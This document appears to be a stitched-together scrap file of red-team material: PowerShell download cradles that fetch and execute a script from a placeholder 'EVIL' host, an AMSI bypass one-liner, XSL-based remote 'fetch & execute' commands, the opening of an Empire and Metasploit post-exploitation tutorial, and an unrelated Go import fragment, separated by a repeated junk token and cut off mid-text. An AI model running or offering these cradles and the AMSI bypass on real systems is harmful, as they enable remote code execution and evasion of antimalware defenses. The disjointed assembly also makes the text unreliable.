myhkho

# normal download cradle
IEX (New-Object Net.Webclient).downloadstring("http://EVIL/evil.ps1")

# PowerShell 3.0+
IEX (iwr 'http://EVIL/evil.ps1')

# hidden IE com object
$ie=New-Object -comobject InternetExplorer.Application;$ie.visible=$False;$ie.navigate('http://EVIL/evil.ps1');start-sleep -s 5;$r=$ie.Document.body.innerHTML;$ie.quit();IEX $r

# Msxml2.XMLHTTP COM object

myhkho

# Pulled from https://gist.github.com/jivoi/c354eaaf3019352ce32522f916c03d70

# Description: 
#    Collection of PowerShell one-liners for red teamers and penetration testers to use at various stages of testing.

# AMSI Bypass (Matt Graeber)
Normal Version
------------------------
[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true)

myhkho

Empire and Metasploit 101




Goal: Use Empire and metasploit in example situation of network exploitation and post-exploitation host enumeration. We will exploit a network service on a Windows 7 VM, and then use our low-privilege shell to then execute an empire powershell stager, which will create an Empire agent on the local Windows 7 VM. After this, we will look through the various options available as an Empire agent.
Following this, we will generate a DLL stager within Empire, and then use our existing meterpreter session on the Windows 7 VM to perform a DLL injection attack, to inject another Empire agent, directly into memory.

Pre-Stuff: Empire is not just for windows. It has python based agents that can run on OS X and Linux. It's communication profile between agents and listeners is configurable, similar to CobaltStrikes. You can use pre-built or custom-made ones to employ such functionality. Empire is designed to stay off disk and in memory as much as possible. Empire does contain modules that will

myhkho

##############################################################################
### Powershell Xml/Xsl Assembly "Fetch & Execute"
### [https://twitter.com/bohops/status/966172175555284992]

$s=New-Object System.Xml.Xsl.XsltSettings;$r=New-Object System.Xml.XmlUrlResolver;$s.EnableScript=1;$x=New-Object System.Xml.Xsl.XslCompiledTransform;$x.Load('https://gist.githubusercontent.com/bohops/ee9e2d7bdd606c264a0c6599b0146599/raw/f8245f99992eff00eb5f0d5738dfbf0937daf5e4/xsl-notepad.xsl',$s,$r);$x.Transform('https://gist.githubusercontent.com/bohops/ee9e2d7bdd606c264a0c6599b0146599/raw/f8245f99992eff00eb5f0d5738dfbf0937daf5e4/xsl-notepad.xml','z');del z;

##############################################################################
### Powershell VBScript Assembly SCT "Fetch & Execute"
### [https://twitter.com/bohops/status/965670898379476993]

myhkho

package main

import "crypto/sha1"
import "crypto/x509"
import "fmt"
import "encoding/pem"
import "os"
import "time"
import "bufio"
import "strings"